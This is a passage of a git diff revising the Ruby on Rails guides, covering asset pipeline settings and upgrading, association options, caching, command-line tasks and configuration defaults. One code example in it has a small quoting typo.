+config.assets.compress+ must be set to +true+ to enable JavaScript compression +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Using Your Own Compressor -The compressor config settings for CSS and JavaScript will also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. <erb> class Transformer @@ -366,7 +527,7 @@ class Transformer end </erb> -To enable this pass a +new+ Object to the config option in +application.rb+: +To enable this, pass a +new+ Object to the config option in +application.rb+: <erb> config.assets.css_compressor = Transformer.new @@ -387,21 +548,20 @@ This is a handy option if you have any existing project (pre Rails 3.1) that alr h4. X-Sendfile Headers -The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. In production Rails (via Sprockets) does not send the asset - just the location and a zero-length response - relying on the web server to do the file serving, which is usually faster. Both Apache and nginx support this option. +The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. -The configuration is available in <tt>config/environments/production.rb</tt>. +Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. <erb> -config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx </erb> -You should check that your server or hosting service actually supports this, otherwise comment it out. - WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. h3. How Caching Works -Sprockets uses the default rails cache store to cache assets in dev and production. The only difference is file names are fingerprinted and get far-future headers in production. +Sprockets uses the default Rails cache store to cache assets in development and production. TODO: Add more about changing the default store. @@ -414,3 +574,88 @@ A good example of this is the +jquery-rails+ gem which comes with Rails as the s h3. Making Your Library or Gem a Pre-Processor TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. + +h3. Upgrading from Old Versions of Rails + +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. + +The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. + +In +application.rb+: + +<erb> +# Enable the asset pipeline +config.assets.enabled = true + +# Version of your assets, change this if you want to expire all your assets +config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" +</erb> + +In +development.rb+: + +<erb> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</erb> + +And in +production.rb+: + +<erb> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs. +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) +</erb> + +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index ce4ff0389d..451653655f 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1147,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1156,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1229,17 +1229,15 @@ end If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. -If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes: +If you need to evaluate conditions dynamically at runtime, use a proc: <ruby> class Customer < ActiveRecord::Base has_many :latest_orders, :class_name => "Order", - :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}' + :conditions => proc { ["orders.created_at > ?, 10.hours.ago] } end </ruby> -Be sure to use single quotes. - h6(#has_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. @@ -1262,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1345,7 +1343,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1551,7 +1549,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection :conditions => ["created_at > ?", 2.days.ago]) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. +NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1576,7 +1574,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1585,7 +1583,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1619,7 +1617,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1687,7 +1685,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base @@ -1855,17 +1853,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: - -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index ae56911441..0ef6f51190 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -64,7 +64,7 @@ end If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers. -NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL! +NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+. INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. @@ -72,7 +72,7 @@ h4. Action Caching One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy. -Clearing the cache works in the exact same way as with Page Caching. +Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+. Let's say you only wanted authenticated users to call actions on +ProductsController+. @@ -188,7 +188,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -293,7 +293,7 @@ Note that the cache will grow until the disk is full unless you periodically cle h4. ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcached-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcache-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. @@ -403,16 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha - diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index b34506d4d8..9284a542f3 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -81,6 +81,8 @@ The server can be run on a different port using the +-p+ option. The default dev $ rails server -e production -p 4000 </shell> +The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option. + h4. +rails generate+ The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators: @@ -325,6 +327,8 @@ h4. +rails destroy+ Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. +You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. + <shell> $ rails generate model Oops exists app/models/ @@ -379,21 +383,24 @@ $ rake about About your application's environment Ruby version 1.8.7 (x86_64-linux) RubyGems version 1.3.6 -Rack version 1.1 -Rails version 3.1.0 -Active Record version 3.1.0 -Action Pack version 3.1.0 -Active Resource version 3.1.0 -Action Mailer version 3.1.0 -Active Support version 3.1.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Rack version 1.3 +Rails version 3.2.0.beta +JavaScript Runtime Node.js (V8) +Active Record version 3.2.0.beta +Action Pack version 3.2.0.beta +Active Resource version 3.2.0.beta +Action Mailer version 3.2.0.beta +Active Support version 3.2.0.beta +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /home/foobar/commandsapp Environment development +Database adapter sqlite3 +Database schema version 20110805173523 </shell> h4. +assets+ -You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove compiled assets using <tt>rake assets:clean</tt>. +You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. h4. +db+ @@ -458,13 +465,18 @@ h4. +test+ INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html -Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. - -The +test:+ namespace helps in running the different tests you will (hopefully!) write. +Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. h4. +tmp+ -The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry. +The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. + +The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: + +* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. +* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. +* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. +* +rake tmp:clear+ clears all the three: cache, sessions and sockets. h4. Miscellaneous diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index 2ff5de2334..d91011c370 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -40,7 +40,9 @@ Rails will use that particular setting to configure Active Record. h4. Rails General Configuration -* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers: +These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+. + +* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: <ruby> config.after_initialize do @@ -64,7 +66,7 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is * +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+. +* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. * +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. @@ -86,6 +88,8 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is * +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+. +* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + * +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. * +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below. @@ -124,7 +128,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. -* +config.assets.css_compressor+ defines the CSS compressor to use. Only supported value at the moment is +:yui+, which uses the +yui-compressor+ gem. +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. * +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. @@ -134,6 +138,18 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. + +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. + +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. + +* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. + +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. + h4. Configuring Generators @@ -167,16 +183,17 @@ h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. * +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Notifies the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ Rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. -* +ActionDispatch::RemoteIp+ Checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. +* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method. +* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. * +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. * +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. @@ -249,6 +266,8 @@ h4. Configuring Active Record * +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app. +* +config.active_record.identity_map+ controls whether the identity map is enabled, and is false by default. + The MySQL adapter adds one additional configuration option: * +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default. @@ -449,12 +468,31 @@ Rails has 5 initialization events which can be hooked into (listed in the order * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is 